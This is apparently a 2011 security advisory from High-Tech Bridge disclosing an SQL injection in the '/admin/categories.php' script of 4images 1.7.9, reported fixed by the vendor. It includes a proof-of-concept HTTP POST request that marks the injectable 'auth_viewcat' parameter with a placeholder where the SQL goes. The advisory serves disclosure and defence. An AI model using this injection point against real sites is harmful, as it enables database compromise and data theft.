Vulnerability ID: HTB22950 Reference: http://www.htbridge.ch/advisory/sql_injection_in_4images.html Product: 4images Vendor: http://www.4homepages.de/ ( http://www.4homepages.de/ ) Vulnerable Version: 1.7.9 Vendor Notification: 07 April 2011 Vulnerability Type: SQL Injection Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "/admin/categories.php" script to properly sanitize user-supplied input. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. The following PoC is available: POST /admin/categories.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 263 __csrf=53c2e96a96fcba6dc1d9626c846f665b&action=savecat&cat_name=1&cat_description=1&cat_parent_id=0&cat_order=0&auth_viewcat=SQL_CODE_HERE&auth_viewimage=0&auth_download=2&auth_upload=2&auth_directupload=9&auth_vote=0&auth_sendpostcard=0&auth_readcomment=0&auth_postcomment=2 Solution: Upgrade to the most recent version